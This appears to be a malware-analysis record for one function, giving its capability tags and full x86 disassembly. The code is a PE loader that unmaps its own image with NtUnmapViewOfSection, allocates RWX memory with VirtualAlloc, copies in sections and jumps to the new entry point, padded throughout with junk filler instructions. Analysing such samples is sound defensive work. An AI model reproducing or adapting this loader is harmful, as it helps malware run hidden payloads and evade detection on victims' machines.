Function at 0x404d20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfb0
mov edx, ecx
mov eax, 0x7b
push ebx
mov ebx, dword [ebp + 8]
mov ecx, 0x1f4
push esi
push edi
lea edi, [ebp - 0x7e0]
mov dword [ebp - 8], edx
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x7b
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, dword [edx]
mov ecx, edx
push ebx
call dword [eax]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x405051
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 8]
push 5
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [esi + 0x34]
lea edi, [ebp - 0xfb0]
mov dword [ebp - 4], eax
mov ecx, 0x1f4
mov eax, 0x7b
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, dword [0x416588]
push str.ntdll.dll
call eax
push str.NtUnmapViewOfSection
push eax
call fcn.00404b10
add esp, 8
push dword [esi + 0x34]
push 0xffffffffffffffff
call eax
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
push 0x40
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
push 0x3000
push dword [esi + 0x50]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
lea edi, [ebp - 0xfb0]
mov eax, 0x7b
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
test ebx, ebx
rep stosd dword es:[edi], eax
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov ecx, 0x1f4
lea edi, [ebp - 0x7e0]
mov eax, 0x141
rep stosd dword es:[edi], eax
jne 0x404f68
cmp dword [ebp - 4], ebx
je 0x405051
push 0x40
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
push 0x3000
push dword [esi + 0x50]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
lea edi, [ebp - 0xfb0]
mov eax, 0x7b
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
mov eax, 0x141
rep stosd dword es:[edi], eax
test ebx, ebx
je 0x405051
mov edx, dword [esi + 0x54]
mov ecx, ebx
mov dword [esi + 0x34], ebx
test edx, edx
je 0x404f8e
mov edi, dword [ebp + 8]
sub edi, ebx
nop dword [eax]
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x404f80
xor ecx, ecx
xor eax, eax
mov dword [ebp - 4], ecx
cmp ax, word [esi + 6]
jae 0x404fd6
lea edi, [esi + 0x104]
mov edx, dword [edi]
mov eax, dword [edi + 8]
add edx, ebx
add eax, dword [ebp + 8]
mov esi, dword [edi + 4]
test esi, esi
je 0x404fc4
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx], cl
lea edx, [edx + 1]
sub esi, 1
jne 0x404fb2
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 0xc]
inc ecx
add edi, 0x28
mov dword [ebp - 4], ecx
movzx eax, word [esi + 6]
cmp ecx, eax
jl 0x404fa1
mov edi, dword [ebp - 8]
mov ecx, edi
push ebx
mov eax, dword [edi]
call dword [eax + 8]
mov ecx, dword [ebp - 0x10]
cmp ebx, ecx
je 0x404ff9
push dword [esi + 0x50]
mov eax, dword [edi]
push ebx
push 0
push ecx
push 0
push ebx
mov ecx, edi
call dword [eax + 0xc]
mov edx, dword [esi + 0x28]
lea edi, [ebp - 0xfb0]
mov eax, 0x7b
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov eax, 0x141
lea edi, [ebp - 0x7e0]
mov ecx, 0x1f4
add edx, ebx
rep stosd dword es:[edi], eax
call edx
mov eax, 0x7b
lea edi, [ebp - 0xfb0]
mov ecx, 0x1f4
rep stosd dword es:[edi], eax
mov ecx, 0x1f4
lea edi, [ebp - 0x7e0]
mov eax, 0x141
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4